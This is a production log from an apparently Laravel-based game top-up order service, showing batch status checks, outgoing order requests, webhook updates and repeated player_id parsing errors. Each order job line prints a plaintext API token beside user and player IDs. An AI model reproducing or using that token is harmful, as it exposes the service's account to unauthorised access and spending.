[2026-03-24 23:56:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:56:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:56:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"count":1} 
[2026-03-24 23:56:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"count":1} 
[2026-03-24 23:56:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"user_id":315,"notification_type":"order_approved","reference_id":179551} 
[2026-03-24 23:56:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:56:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:56:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"processed":1,"errors":0} 
[2026-03-24 23:56:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419,"processed":1,"errors":0} 
[2026-03-24 23:56:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419} 
[2026-03-24 23:56:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 23:56:08] production.INFO: Constructing job for order: 179552  
[2026-03-24 23:56:10] production.INFO: Handling job for order: 179552  
[2026-03-24 23:56:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:56:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:56:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=33000&uuid=a606f40f-4c90-4487-9ea6-ff903acdabfa&Player_ID=74295198  
[2026-03-24 23:56:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=33000&uuid=a606f40f-4c90-4487-9ea6-ff903acdabfa&Player_ID=74295198","has_body":false} 
[2026-03-24 23:56:11] production.INFO: Operation sent successfully {"operation_id":164420,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GYzsp09F-1774385771","amount":7.9095291000000003123204805888235569000244140625,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 23:56:11"}},"processed_data":{"order_number":"ORD-GYzsp09F-1774385771","amount":7.9095291000000003123204805888235569000244140625,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 23:56:27] production.INFO: Constructing job for order: 179553  
[2026-03-24 23:56:29] production.INFO: Handling job for order: 179553  
[2026-03-24 23:56:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:56:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:56:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=33000&uuid=97cdae92-e245-4498-b70d-21bfcf6fd8f8&Player_ID=31712255  
[2026-03-24 23:56:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=33000&uuid=97cdae92-e245-4498-b70d-21bfcf6fd8f8&Player_ID=31712255","has_body":false} 
[2026-03-24 23:56:30] production.INFO: Operation sent successfully {"operation_id":164421,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VUjcEPav-1774385790","amount":7.9095291000000003123204805888235569000244140625,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 23:56:30"}},"processed_data":{"order_number":"ORD-VUjcEPav-1774385790","amount":7.9095291000000003123204805888235569000244140625,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 23:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03"} 
[2026-03-24 23:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","total_operations":2,"sites_count":1} 
[2026-03-24 23:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-GYzsp09F-1774385771","ORD-VUjcEPav-1774385790"]} 
[2026-03-24 23:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 23:58:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 23:58:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"count":2} 
[2026-03-24 23:58:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"count":2} 
[2026-03-24 23:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"user_id":194,"notification_type":"order_approved","reference_id":179552} 
[2026-03-24 23:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"user_id":194,"notification_type":"order_approved","reference_id":179553} 
[2026-03-24 23:58:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:58:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:58:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"processed":2,"errors":0} 
[2026-03-24 23:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421,"processed":2,"errors":0} 
[2026-03-24 23:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8QQRBLoLWr7rYcVVFm1ZzSxjG1HBwYZ7","execution_time":"2026-03-24 23:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-VUjcEPav-1774385790","operation_id":164421} 
[2026-03-24 23:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 23:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 23:58:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-GYzsp09F-1774385771","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:58:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-GYzsp09F-1774385771","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:58:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:58:05] production.ERROR: Order not found or already processed. External ID: ORD-GYzsp09F-1774385771  
[2026-03-24 23:58:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-GYzsp09F-1774385771","status":"completed","codes_count":0} 
[2026-03-24 23:58:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VUjcEPav-1774385790","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:58:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-VUjcEPav-1774385790","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:58:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:58:05] production.ERROR: Order not found or already processed. External ID: ORD-VUjcEPav-1774385790  
[2026-03-24 23:58:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VUjcEPav-1774385790","status":"completed","codes_count":0} 
[2026-03-24 23:58:44] production.INFO: Constructing job for order: 179554  
[2026-03-24 23:58:45] production.INFO: Handling job for order: 179554  
[2026-03-24 23:58:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:58:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:58:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=0992a396-6f82-47f2-a084-30c051f08e77&Player_ID=45046112  
[2026-03-24 23:58:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=0992a396-6f82-47f2-a084-30c051f08e77&Player_ID=45046112","has_body":false} 
[2026-03-24 23:58:46] production.INFO: Operation sent successfully {"operation_id":164422,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jcEajhJM-1774385926","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 23:58:46"}},"processed_data":{"order_number":"ORD-jcEajhJM-1774385926","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 23:59:14] production.INFO: Constructing job for order: 179555  
[2026-03-24 23:59:16] production.INFO: Handling job for order: 179555  
[2026-03-24 23:59:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:59:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:59:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=032de7b6-1881-47bc-a680-d6bb79f77bf6&Player_ID=588641378  
[2026-03-24 23:59:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=032de7b6-1881-47bc-a680-d6bb79f77bf6&Player_ID=588641378","has_body":false} 
[2026-03-24 23:59:17] production.INFO: Operation sent successfully {"operation_id":164423,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WsKziXL6-1774385957","amount":1.0080050000000000398614474761416204273700714111328125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 23:59:17"}},"processed_data":{"order_number":"ORD-WsKziXL6-1774385957","amount":1.0080050000000000398614474761416204273700714111328125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
